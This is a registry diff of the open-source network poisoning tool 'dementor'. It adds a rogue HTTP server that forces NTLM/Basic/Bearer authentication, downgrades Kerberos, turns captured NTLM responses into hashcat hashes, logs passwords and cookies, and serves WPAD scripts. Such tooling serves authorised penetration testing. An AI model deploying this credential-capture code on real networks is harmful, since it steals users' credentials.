dementor 1.0.0.dev0__tar.gz → 1.0.0.dev1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dementor might be problematic. Click here for more details.

Files changed (35) hide show
  1. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/PKG-INFO +1 -1
  2. dementor-1.0.0.dev1/README.md +58 -0
  3. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/__init__.py +1 -1
  4. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/config.py +2 -1
  5. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/database.py +26 -8
  6. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/paths.py +1 -0
  7. dementor-1.0.0.dev1/dementor/protocols/http.py +489 -0
  8. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/protocols/llmnr.py +2 -1
  9. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/protocols/mdns.py +3 -1
  10. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/protocols/netbios.py +7 -2
  11. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/protocols/ntlm.py +4 -0
  12. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/protocols/quic.py +4 -6
  13. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/protocols/smtp.py +2 -4
  14. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/servers.py +11 -11
  15. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor.egg-info/PKG-INFO +1 -1
  16. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor.egg-info/SOURCES.txt +1 -0
  17. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/pyproject.toml +1 -1
  18. dementor-1.0.0.dev0/README.md +0 -42
  19. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/LICENSE +0 -0
  20. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/__main__.py +0 -0
  21. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/filters.py +0 -0
  22. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/loader.py +0 -0
  23. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/logger.py +0 -0
  24. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/protocols/__init__.py +0 -0
  25. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/protocols/ftp.py +0 -0
  26. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/protocols/kerberos.py +0 -0
  27. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/protocols/ldap.py +0 -0
  28. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/protocols/smb.py +0 -0
  29. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/protocols/spnego.py +0 -0
  30. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor/standalone.py +2 -2
  31. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor.egg-info/dependency_links.txt +0 -0
  32. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor.egg-info/entry_points.txt +0 -0
  33. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/dementor.egg-info/top_level.txt +0 -0
  34. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/docs/README.pypi.md +0 -0
  35. {dementor-1.0.0.dev0 → dementor-1.0.0.dev1}/setup.cfg +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dementor
3
- Version: 1.0.0.dev0
3
+ Version: 1.0.0.dev1
4
4
  Summary: LLMNR/NBT-NS/mDNS Poisoner and rogue service provider
5
5
  Author: MatrixEditor
6
6
  Maintainer: MatrixEditor
@@ -0,0 +1,58 @@
1
+ # Dementor
2
+
3
+ IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and rogue service provider - you can think if it as Responder 2.0. Get more information
4
+ on the [Documentation](https://matrixeditor.github.io/dementor/) page.
5
+
6
+ ### Offers
7
+
8
+ - No reliance on hardcoded or precomputed packets
9
+ - Fine-grained, per-protocol configuration using a modular system (see [Docs - Configuration](https://matrixeditor.github.io/dementor/config/index.html))
10
+ - Near-complete protocol parity with Responder (see [Docs - Compatibility](https://matrixeditor.github.io/dementor/compat.html))
11
+ - Easy integration of new protocols via the extension system
12
+
13
+ ## Installation
14
+
15
+ Installation via `pip` from GitHub or PyPI:
16
+
17
+ ```bash
18
+ pip install dementor
19
+ ```
20
+
21
+ ## Usage
22
+
23
+ Just type in _Dementor_, specify the target interface and you are good to go! It is recommended
24
+ to run _Dementor_ with `sudo` as most protocol servers use privileged ports.
25
+
26
+ ```bash
27
+ sudo Dementor -I "$INTERFACE_NAME"
28
+ ```
29
+
30
+ Let's take a look.
31
+
32
+ ![index_video](./docs/source/_static/images/index-video.gif)
33
+
34
+
35
+ ### CLI Options
36
+
37
+ ```
38
+ Usage: Dementor [OPTIONS]
39
+
40
+ ╭─ Options ──────────────────────────────────────────────────────────────────────────────────────────╮
41
+ │ * --interface -I NAME Network interface to use (required for poisoning) [required] │
42
+ │ --analyze -A Only analyze traffic, don't respond to requests │
43
+ │ --config -c PATH Path to a configuration file (otherwise standard path is used) │
44
+ │ --option -O KEY=VALUE Add an extra option to the global configuration file. │
45
+ │ --quiet -q Don't print banner at startup │
46
+ │ --help Show this message and exit. │
47
+ ╰────────────────────────────────────────────────────────────────────────────────────────────────────╯
48
+ ```
49
+
50
+
51
+ ## You need more?
52
+
53
+ Take a look at the [Documentation on GitHub-Pages](https://matrixeditor.github.io/dementor/)
54
+
55
+
56
+ ## License
57
+
58
+ Distributed under the MIT License. See LICENSE for more information.
@@ -18,5 +18,5 @@
18
18
  # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
19
  # SOFTWARE.
20
20
 
21
- __version__ = "1.0.0.dev0"
21
+ __version__ = "1.0.0.dev1"
22
22
  __author__ = "MatrixEditor"
@@ -149,7 +149,8 @@ class SessionConfig(TomlConfig):
149
149
  Attribute("kdc_enabled", "KDC", True, factory=is_true),
150
150
  Attribute("ldap_enabled", "LDAP", True, factory=is_true),
151
151
  Attribute("quic_enabled", "QUIC", True, factory=is_true),
152
- Attribute("mdns_enabled", "QUIC", True, factory=is_true),
152
+ Attribute("mdns_enabled", "mDNS", True, factory=is_true),
153
+ Attribute("http_enabled", "HTTP", True, factory=is_true),
153
154
  Attribute("extra_modules", "ExtraModules", list),
154
155
  Attribute("workspace_path", "Workspace", DEMENTOR_PATH),
155
156
  ]
@@ -18,12 +18,12 @@
18
18
  # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
19
  # SOFTWARE.
20
20
  import threading
21
- import os
22
21
  import sqlite3
23
22
  import pathlib
24
23
 
25
24
  from datetime import datetime
26
25
  from typing import Any, Tuple
26
+ from rich import markup
27
27
 
28
28
  from sqlalchemy.engine import Engine, create_engine
29
29
  from sqlalchemy.orm import scoped_session, sessionmaker
@@ -86,6 +86,7 @@ def normalize_client_address(client: str) -> str:
86
86
 
87
87
 
88
88
  _CLEARTEXT = "Cleartext"
89
+ _NO_USER = "<missing-user>"
89
90
 
90
91
 
91
92
  class DementorDB:
@@ -165,6 +166,7 @@ class DementorDB:
165
166
  protocol: str | None = None,
166
167
  domain: str | None = None,
167
168
  hostname: str | None = None,
169
+ extras: dict | None = None,
168
170
  ) -> None:
169
171
  if not logger and not protocol:
170
172
  dm_logger.error(
@@ -196,7 +198,9 @@ class DementorDB:
196
198
  results = self.db_exec(q).all()
197
199
  text = "Password" if credtype == _CLEARTEXT else "Hash"
198
200
  full_name = (
199
- f"[b]{username}[/]/[b]{domain}[/]" if domain else f"[b]{username}[/]"
201
+ f"[b]{markup.escape(username)}[/]/[b]{markup.escape(domain)}[/]"
202
+ if domain
203
+ else f"[b]{markup.escape(username)}[/]"
200
204
  )
201
205
  if not results or self.config.db_config.db_duplicate_creds:
202
206
  # just insert a new row
@@ -219,17 +223,31 @@ class DementorDB:
219
223
  host=hostname or client_address,
220
224
  locked=True,
221
225
  )
222
- target_logger.highlight(
223
- f"{credtype} Username: {username}",
224
- host=hostname or client_address,
225
- locked=True,
226
- )
226
+ if username != _NO_USER:
227
+ target_logger.highlight(
228
+ f"{credtype} Username: {markup.escape(username)}",
229
+ host=hostname or client_address,
230
+ locked=True,
231
+ )
227
232
 
228
233
  target_logger.highlight(
229
- f"{credtype} {text}: {password}",
234
+ f"{credtype} {text}: {markup.escape(password)}",
230
235
  host=hostname or client_address,
231
236
  locked=True,
232
237
  )
238
+ if extras:
239
+ target_logger.highlight(
240
+ f"{credtype} Extras:",
241
+ host=hostname or client_address,
242
+ locked=True,
243
+ )
244
+
245
+ for name, value in (extras or {}).items():
246
+ target_logger.highlight(
247
+ f" {name}: {markup.escape(value)}",
248
+ host=hostname or client_address,
249
+ locked=True,
250
+ )
233
251
 
234
252
  else:
235
253
  target_logger.highlight(
@@ -24,3 +24,4 @@ DEMENTOR_PATH = os.path.expanduser("~/.dementor")
24
24
  CONFIG_PATH = os.path.join(DEMENTOR_PATH, "Dementor.conf")
25
25
  ASSETS_PATH = os.path.join(os.path.dirname(dementor.__file__), "assets")
26
26
  BANNER_PATH = os.path.join(ASSETS_PATH, "banner.txt")
27
+ HTTP_TEMPLATES_PATH = os.path.join(ASSETS_PATH, "www")
@@ -0,0 +1,489 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ import socket
21
+ import base64
22
+ import pathlib
23
+
24
+
25
+ from http import HTTPStatus
26
+ from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
27
+
28
+ from jinja2.environment import Environment, Template
29
+ from jinja2.loaders import FileSystemLoader
30
+ from jinja2.exceptions import TemplateNotFound
31
+ from jinja2 import select_autoescape
32
+
33
+ from rich import markup
34
+ from impacket import ntlm
35
+
36
+ from dementor.config import Attribute as A, TomlConfig, get_value, is_true
37
+ from dementor.logger import ProtocolLogger, dm_logger
38
+ from dementor.servers import ServerThread, bind_server
39
+ from dementor.database import _CLEARTEXT, normalize_client_address, _NO_USER
40
+ from dementor.paths import HTTP_TEMPLATES_PATH
41
+ from dementor.protocols.ntlm import (
42
+ NTLM_AUTH_CreateChallenge,
43
+ NTLM_AUTH_decode_string,
44
+ NTLM_AUTH_to_hashcat_format,
45
+ NTLM_split_fqdn,
46
+ )
47
+
48
+
49
+ def apply_config(session):
50
+ session.proxy_config = ProxyAutoConfig(get_value("Proxy", key=None, default={}))
51
+
52
+ servers = []
53
+ for server_config in get_value("HTTP", "Server", default=[]):
54
+ servers.append(HTTPServerConfig(server_config))
55
+ session.http_config = servers
56
+
57
+
58
+ def create_server_threads(session):
59
+ servers = []
60
+ for server_config in session.http_config if session.http_enabled else []:
61
+ address = (
62
+ "::" if session.ipv6 else session.ipv4 or "",
63
+ server_config.http_port,
64
+ )
65
+ servers.append(
66
+ ServerThread(
67
+ session,
68
+ HTTPServer,
69
+ server_config,
70
+ server_address=address,
71
+ ipv6=bool(session.ipv6),
72
+ )
73
+ )
74
+
75
+ return servers
76
+
77
+
78
+ class ProxyAutoConfig(TomlConfig):
79
+ _section_ = "Proxy"
80
+ _fields_ = [
81
+ A("proxy_script", "Script", None),
82
+ ]
83
+
84
+ def set_proxy_script(self, script):
85
+ self.proxy_script = None
86
+ match script:
87
+ case str():
88
+ path = pathlib.Path(script)
89
+ if not path.exists() or not path.is_file():
90
+ self.proxy_script = script
91
+ else:
92
+ self.proxy_script = path.read_text()
93
+
94
+ # Dictionary: WPADScript = { file = "..." }
95
+ case dict():
96
+ if "file" not in script:
97
+ dm_logger.error(
98
+ f"WPAD script {script} does not specify a file - ignoring..."
99
+ )
100
+ return
101
+
102
+ path = pathlib.Path(script["file"])
103
+ if not path.exists() or not path.is_file():
104
+ dm_logger.error(
105
+ f"WPAD script at {path} does not exist - ignoring..."
106
+ )
107
+ return
108
+
109
+ if not path.is_file():
110
+ dm_logger.error(
111
+ f"WPAD script at {path} is not a file - ignoring..."
112
+ )
113
+ return
114
+
115
+ self.proxy_script = path.read_text()
116
+
117
+ case None:
118
+ pass
119
+
120
+ case _:
121
+ dm_logger.error(
122
+ f"WPAD script {script} is not a string or dictionary - ignoring..."
123
+ )
124
+
125
+
126
+ class HTTPServerConfig(TomlConfig):
127
+ _section_ = "HTTP"
128
+ _fields_ = [
129
+ A("http_port", "Port"),
130
+ A("http_server_type", "ServerType", "Microsoft-IIS/10.0"),
131
+ A("http_auth_schemes", "AuthSchemes", ["Negotiate", "NTLM", "Basic", "Bearer"]),
132
+ A("http_ntlm_challenge", "NTLM.Challenge", b"A" * 8),
133
+ A("http_ess", "NTLM.ExtendedSessionSecurity", True, factory=is_true),
134
+ A("http_fqdn", "FQDN", "DEMENTOR", section_local=False),
135
+ A("http_extra_headers", "ExtraHeaders", list),
136
+ A("http_wpad_enabled", "WPAD", True, factory=is_true),
137
+ A("http_wpad_auth", "WPADAuthRequired", True, factory=is_true),
138
+ A("http_templates", "TemplatesPath", [HTTP_TEMPLATES_PATH]),
139
+ A("http_webdav_enabled", "WebDAV", True, factory=is_true),
140
+ A("http_methods", "Methods", ["GET", "POST"]),
141
+ ]
142
+
143
+ def set_http_ntlm_challenge(self, challenge):
144
+ if isinstance(challenge, bytes):
145
+ self.http_ntlm_challenge = challenge
146
+ else:
147
+ self.http_ntlm_challenge = str(challenge).encode(errors="replace")
148
+
149
+ def set_http_templates(self, templates_dirs: list):
150
+ dirs = []
151
+ for templates_dir in templates_dirs:
152
+ path = pathlib.Path(templates_dir)
153
+ if not path.exists() or not path.is_dir():
154
+ dm_logger.error(
155
+ f"HTTP templates directory {path} does not exist - using default..."
156
+ )
157
+ path = HTTP_TEMPLATES_PATH
158
+
159
+ dirs.append(str(path))
160
+
161
+ if HTTP_TEMPLATES_PATH not in dirs:
162
+ dirs.append(HTTP_TEMPLATES_PATH)
163
+
164
+ self.http_templates = dirs
165
+
166
+
167
+ class HTTPHeaders:
168
+ WWW_AUTHENTICATE = "WWW-Authenticate"
169
+ AUTHORIZATION = "Authorization"
170
+
171
+
172
+ class HTTPHandler(BaseHTTPRequestHandler):
173
+ def __init__(self, session, config, request, client_address, server) -> None:
174
+ self.config = config
175
+ self.session = session
176
+ self.logger = ProtocolLogger(
177
+ extra={
178
+ "protocol": "HTTP",
179
+ "protocol_color": "chartreuse3",
180
+ "host": normalize_client_address(client_address[0]),
181
+ "port": config.http_port,
182
+ }
183
+ )
184
+ self.webdav_logger = ProtocolLogger(
185
+ extra={
186
+ "protocol": "WebDAV",
187
+ "protocol_color": "sea_green3",
188
+ "host": normalize_client_address(client_address[0]),
189
+ "port": config.http_port,
190
+ }
191
+ )
192
+ self.challenge = None
193
+ for http_method in config.http_methods:
194
+ if http_method in ("OPTIONS", "PROPFIND"):
195
+ # reserved options
196
+ continue
197
+
198
+ setattr(self, f"do_{http_method}", lambda: self.handle_request(self.logger))
199
+
200
+ super().__init__(request, client_address, server)
201
+
202
+ def do_PROPFIND(self):
203
+ if self.config.http_webdav_enabled:
204
+ self.handle_request(self.webdav_logger)
205
+ else:
206
+ self.send_error(HTTPStatus.NOT_FOUND, "Not Found")
207
+
208
+ def do_OPTIONS(self):
209
+ # always support everything
210
+ self.send_response(HTTPStatus.OK)
211
+ self.send_header("Allow", "OPTIONS,GET,HEAD,POST,TRACE")
212
+ self.end_headers()
213
+
214
+ def version_string(self) -> str:
215
+ return self.config.http_server_type
216
+
217
+ def log_message(self, format: str, *args) -> None:
218
+ # let us log mssages
219
+ text = format % args
220
+ msg = text.translate(self._control_char_table)
221
+ self.logger.debug(f"- - {msg}")
222
+
223
+ def send_response(self, code: int, message: str | None = None) -> None:
224
+ super().send_response(code, message)
225
+ for header in self.config.http_extra_headers:
226
+ self._headers_buffer.append(f"{header}\r\n".encode("latin-1", "strict"))
227
+
228
+ def send_error(
229
+ self,
230
+ code: int,
231
+ message: str | None = None,
232
+ explain: str | None = None,
233
+ headers=None,
234
+ ) -> None:
235
+ short, longmsg = self.responses.get(code, ("", ""))
236
+ if not message:
237
+ message = short
238
+ if not explain:
239
+ explain = longmsg
240
+
241
+ self.send_response(code, message)
242
+ self.send_header("Connection", "close")
243
+ for header, value in headers or []:
244
+ self.send_header(header, value)
245
+
246
+ body = None
247
+ if code >= 200 and code not in (
248
+ HTTPStatus.NO_CONTENT,
249
+ HTTPStatus.RESET_CONTENT,
250
+ HTTPStatus.NOT_MODIFIED,
251
+ ):
252
+ content = self.server.render_error(code, message, explain)
253
+ body = content.encode("utf-8", "replace")
254
+ self.send_header("Content-Length", str(len(body)))
255
+ self.send_header("Content-Type", "text/html")
256
+
257
+ self.end_headers()
258
+ if body:
259
+ self.wfile.write(body)
260
+
261
+ def is_wpad_request(self):
262
+ path = pathlib.Path(self.path)
263
+ return path.suffix == ".pac" or path.stem == "wpad"
264
+
265
+ def send_wpad_script(self):
266
+ if self.config.proxy_config.proxy_script:
267
+ # try to render the custom script
268
+ template = Template(self.config.proxy_config.proxy_script, autoescape=True)
269
+ script = template.render(
270
+ server=self.config,
271
+ session=self.session,
272
+ )
273
+ else:
274
+ script = self.server.render_page("wpad.dat")
275
+ if self.config.http_wpad_enabled and not script:
276
+ self.logger.error("WPAD enabled but script not configured")
277
+ return self.send_error(HTTPStatus.NOT_FOUND)
278
+
279
+ self.logger.success("Serving WPAD script to client")
280
+ body = script.encode("latin-1", "strict")
281
+
282
+ self.send_response(HTTPStatus.OK)
283
+ self.send_header("Content-Type", "application/x-ns-proxy-autoconfig")
284
+ self.send_header("Content-Length", str(len(body)))
285
+ self.end_headers()
286
+ self.wfile.write(body)
287
+
288
+ def handle_request(self, logger):
289
+ logger.display(f"{self.command} request for {markup.escape(self.path)}")
290
+ if HTTPHeaders.AUTHORIZATION not in self.headers:
291
+ # make sure the client authenticates to us
292
+ if (
293
+ self.config.http_wpad_enabled
294
+ and self.is_wpad_request()
295
+ and not self.config.http_wpad_auth
296
+ ):
297
+ return self.send_wpad_script()
298
+
299
+ self.send_error(
300
+ HTTPStatus.UNAUTHORIZED,
301
+ "Unauthorized",
302
+ headers=[
303
+ (HTTPHeaders.WWW_AUTHENTICATE, scheme)
304
+ for scheme in self.config.http_auth_schemes
305
+ ],
306
+ )
307
+ else:
308
+ name, token = self.headers[HTTPHeaders.AUTHORIZATION].split(" ", 1)
309
+ method = getattr(self, f"auth_{name.lower()}", None)
310
+ if method:
311
+ method(token, logger)
312
+ else:
313
+ self.send_error(HTTPStatus.NOT_FOUND, "Not Found")
314
+
315
+ def auth_negotiate(self, token, logger):
316
+ # try to decode negotiate token
317
+ if token.startswith("YII"):
318
+ # possible kerberos authentication attempt, try to downgrade
319
+ return self.send_error(HTTPStatus.UNAUTHORIZED, "Unauthorized")
320
+
321
+ self.auth_ntlm(token, logger, scheme="Negotiate")
322
+
323
+ def auth_ntlm(self, token, logger, scheme=None):
324
+ try:
325
+ message = ntlm.NTLM_HTTP.get_instance(f"NTLM {token}")
326
+ except Exception:
327
+ # invalid value
328
+ logger.error(f"Invalid negotiate authentication: {token}")
329
+ self.send_error(HTTPStatus.INTERNAL_SERVER_ERROR, "Internal Server Error")
330
+ return
331
+
332
+ match message:
333
+ case ntlm.NTLM_HTTP_AuthNegotiate():
334
+ challenge = NTLM_AUTH_CreateChallenge(
335
+ message,
336
+ *NTLM_split_fqdn(self.config.http_fqdn),
337
+ challenge=self.config.http_ntlm_challenge,
338
+ disable_ess=not self.config.http_ess,
339
+ )
340
+ self.send_response(HTTPStatus.UNAUTHORIZED, "Unauthorized")
341
+ data = base64.b64encode(challenge.getData()).decode()
342
+ self.send_header(
343
+ HTTPHeaders.WWW_AUTHENTICATE, f"{scheme or 'NTLM'} {data}"
344
+ )
345
+ self.end_headers()
346
+
347
+ case ntlm.NTLM_HTTP_AuthChallengeResponse():
348
+ # try to decode auth message
349
+ auth_message = message
350
+ hashversion, hashvalue = NTLM_AUTH_to_hashcat_format(
351
+ self.config.http_ntlm_challenge,
352
+ auth_message["user_name"],
353
+ auth_message["domain_name"],
354
+ auth_message["lanman"],
355
+ auth_message["ntlm"],
356
+ auth_message["flags"],
357
+ )
358
+ domain = NTLM_AUTH_decode_string(
359
+ auth_message["domain_name"], auth_message["flags"]
360
+ )
361
+ username = NTLM_AUTH_decode_string(
362
+ auth_message["user_name"], auth_message["flags"]
363
+ )
364
+ self.session.db.add_auth(
365
+ self.client_address,
366
+ credtype=hashversion,
367
+ username=username,
368
+ password=hashvalue,
369
+ logger=logger,
370
+ domain=domain,
371
+ extras=self.get_extras(),
372
+ )
373
+ self.finish_request(logger)
374
+
375
+ case _:
376
+ logger.error(f"Invalid negotiate authentication: {token}")
377
+ self.send_error(
378
+ HTTPStatus.INTERNAL_SERVER_ERROR, "Internal Server Error"
379
+ )
380
+
381
+ def auth_bearer(self, token, logger):
382
+ self.session.db.add_auth(
383
+ client=self.client_address,
384
+ credtype="BearerToken",
385
+ username=_NO_USER,
386
+ password=token.encode().hex(),
387
+ logger=logger,
388
+ extras=self.get_extras(),
389
+ )
390
+ self.finish_request(logger)
391
+
392
+ def auth_basic(self, token, logger):
393
+ try:
394
+ username, password = base64.b64decode(token).decode().split(":", 1)
395
+ except ValueError:
396
+ logger.error(f"Invalid basic authentication: {token}")
397
+ self.send_error(HTTPStatus.INTERNAL_SERVER_ERROR, "Internal Server Error")
398
+ return
399
+
400
+ self.session.db.add_auth(
401
+ client=self.client_address,
402
+ credtype=_CLEARTEXT,
403
+ password=password,
404
+ logger=logger,
405
+ username=username,
406
+ extras=self.get_extras(),
407
+ )
408
+ self.finish_request(logger)
409
+
410
+ def finish_request(self, logger):
411
+ # inspect the path first, WPAD Auth and custom files are handled separately
412
+ if self.is_wpad_request() and self.config.http_wpad_enabled:
413
+ return self.send_wpad_script()
414
+
415
+ self.send_error(418, "I'm a teapot")
416
+
417
+ def get_extras(self):
418
+ extras = {}
419
+ if "User-Agent" in self.headers:
420
+ extras["User-Agent"] = self.headers["User-Agent"]
421
+
422
+ if "Cookie" in self.headers:
423
+ extras["Cookie"] = self.headers["Cookie"]
424
+
425
+ if self.command == "POST":
426
+ length = int(self.headers["Content-Length"])
427
+ if length > 0:
428
+ extras["Data"] = f"(hex) {self.rfile.read(length).hex()}"
429
+
430
+ return extras
431
+
432
+
433
+ class HTTPServer(ThreadingHTTPServer):
434
+ service_name = "HTTP"
435
+
436
+ def __init__(
437
+ self,
438
+ session,
439
+ server_config,
440
+ server_address=None,
441
+ RequestHandlerClass=None,
442
+ ipv6=False,
443
+ ) -> None:
444
+ self.config = session
445
+ self.server_config = server_config
446
+ self.is_ipv6 = ipv6
447
+ if self.is_ipv6:
448
+ self.address_family = socket.AF_INET6
449
+
450
+ self.env = Environment(
451
+ loader=FileSystemLoader(self.server_config.http_templates),
452
+ autoescape=select_autoescape(default=True),
453
+ )
454
+
455
+ super().__init__(
456
+ server_address or ("", 80),
457
+ RequestHandlerClass or HTTPHandler,
458
+ )
459
+
460
+ def server_bind(self):
461
+ bind_server(self, self.config)
462
+ ThreadingHTTPServer.server_bind(self)
463
+
464
+ def finish_request(self, request, client_address) -> None:
465
+ self.RequestHandlerClass(
466
+ self.config, self.server_config, request, client_address, self
467
+ )
468
+
469
+ def render_error(
470
+ self, code: int, message: str | None = None, explain: str | None = None
471
+ ) -> str | None:
472
+ return self.render_page(
473
+ "error_page.html",
474
+ error_code=code,
475
+ error_title=message,
476
+ error_description=explain,
477
+ )
478
+
479
+ def render_page(self, template, **kwargs) -> str | None:
480
+ try:
481
+ return self.env.get_template(template).render(
482
+ **kwargs,
483
+ session=self.config,
484
+ server=self.server_config,
485
+ )
486
+ except TemplateNotFound as e:
487
+ print(e)
488
+ dm_logger.error("Error rendering page: Could not find template")
489
+ return
@@ -21,6 +21,7 @@ import socket
21
21
  import struct
22
22
 
23
23
  from scapy.layers import llmnr, dns
24
+ from rich import markup
24
25
 
25
26
  from dementor.protocols.mdns import build_dns_answer
26
27
  from dementor.servers import ThreadingUDPServer, ServerThread, BaseProtoHandler
@@ -82,7 +83,7 @@ class LLMNRPoisoner(BaseProtoHandler):
82
83
  # REVISIT: maybe log ignored requests via option
83
84
  continue
84
85
 
85
- self.logger.display(f"Query for [i]{qname}[/i] (type: {qtype})")
86
+ self.logger.display(f"Query for [i]{markup.escape(qname)}[/i] (type: {qtype})")
86
87
  if self.config.analysis:
87
88
  continue
88
89
 
@@ -21,6 +21,7 @@ import socket
21
21
  import struct
22
22
 
23
23
  from scapy.layers import dns
24
+ from rich import markup
24
25
 
25
26
  from dementor.filters import BlacklistConfigMixin, WhitelistConfigMixin, in_scope
26
27
  from dementor.logger import ProtocolLogger
@@ -136,8 +137,9 @@ class MDNSPoisoner(BaseProtoHandler):
136
137
  continue
137
138
 
138
139
  if self.should_answer_request(question):
140
+ name = markup.escape(normalized_name(qname))
139
141
  self.logger.display(
140
- f"Request for [i]{normalized_name(qname)}[/i] (class: {qclass}, "
142
+ f"Request for [i]{name}[/i] (class: {qclass}, "
141
143
  f"type: {qtype})"
142
144
  )
143
145
  if self.config.analysis:
@@ -18,7 +18,9 @@
18
18
  # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
19
  # SOFTWARE.
20
20
  from typing import List
21
+
21
22
  from scapy.layers import netbios, smb
23
+ from rich import markup
22
24
 
23
25
  from dementor.servers import BaseProtoHandler, ServerThread, ThreadingUDPServer
24
26
  from dementor.logger import ProtocolLogger
@@ -106,7 +108,9 @@ class NetBiosNSPoisoner(BaseProtoHandler):
106
108
  )
107
109
  name = request.QUESTION_NAME.decode("utf-8", errors="replace")
108
110
 
109
- self.logger.display(f"Name Query: \\\\{name} ({suffix}) (qtype: {qrtype})")
111
+ self.logger.display(
112
+ f"Name Query: \\\\{markup.escape(name)} ({suffix}) (qtype: {qrtype})"
113
+ )
110
114
  if self.config.analysis:
111
115
  # Analyze-only mode
112
116
  return
@@ -224,7 +228,8 @@ class NetBiosDSPoisoner(BaseProtoHandler):
224
228
  fmt_source_types = ", ".join([f"[b]{t}[/b]" for t in source_types])
225
229
  source_version = f"{brws.OSVersionMajor}.{brws.OSVersionMinor}"
226
230
  self.logger.display(
227
- f"HostAnnouncement: [i]{source_name}[/i] (Version: [bold blue]{source_version}[/bold blue]) "
231
+ f"HostAnnouncement: [i]{markup.escape(source_name)}[/i] (Version: "
232
+ f"[bold blue]{source_version}[/bold blue]) "
228
233
  f"({fmt_source_types})"
229
234
  )
230
235
 
@@ -127,6 +127,10 @@ def NTLM_new_timestamp() -> int:
127
127
  return 116444736000000000 + calendar.timegm(time.gmtime()) * 10000000
128
128
 
129
129
 
130
+ def NTLM_split_fqdn(fqdn: str):
131
+ return fqdn.split(".", 1) if "." in fqdn else (fqdn, "")
132
+
133
+
130
134
  def NTLM_AUTH_CreateChallenge(
131
135
  token: ntlm.NTLMAuthNegotiate,
132
136
  name: str,
@@ -57,11 +57,8 @@ def apply_config(session):
57
57
  def create_server_threads(session):
58
58
  servers = []
59
59
  if session.quic_enabled:
60
- if session.ipv4:
61
- servers.append(QuicServerThread(session, session.ipv4))
62
-
63
- if session.ipv6:
64
- servers.append(QuicServerThread(session, session.ipv6))
60
+ address = "::" if session.ipv6 else session.ipv4 or ""
61
+ servers.append(QuicServerThread(session, address, ipv6=bool(session.ipv6)))
65
62
 
66
63
  return servers
67
64
 
@@ -159,10 +156,11 @@ class QuicHandler(QuicConnectionProtocol, ProtocolLoggerMixin):
159
156
 
160
157
 
161
158
  class QuicServerThread(Thread):
162
- def __init__(self, config: SessionConfig, host: str):
159
+ def __init__(self, config: SessionConfig, host: str, ipv6=False):
163
160
  super().__init__()
164
161
  self.config = config
165
162
  self.host = host
163
+ self.is_ipv6 = ipv6
166
164
 
167
165
  def run(self) -> None:
168
166
  self.config.loop.create_task(self.arun())
@@ -271,8 +271,6 @@ class SMTPServerHandler:
271
271
  )
272
272
  self.logger.debug(
273
273
  f"Captured NTLM AUTH response for {domain_name}/{user_name}:",
274
- # host=server.session.peer[0],
275
- # port=server.session.peer[1],
276
274
  )
277
275
 
278
276
  hashversion, hashvalue = NTLM_AUTH_to_hashcat_format(
@@ -336,7 +334,7 @@ class SMTPServerThread(threading.Thread):
336
334
 
337
335
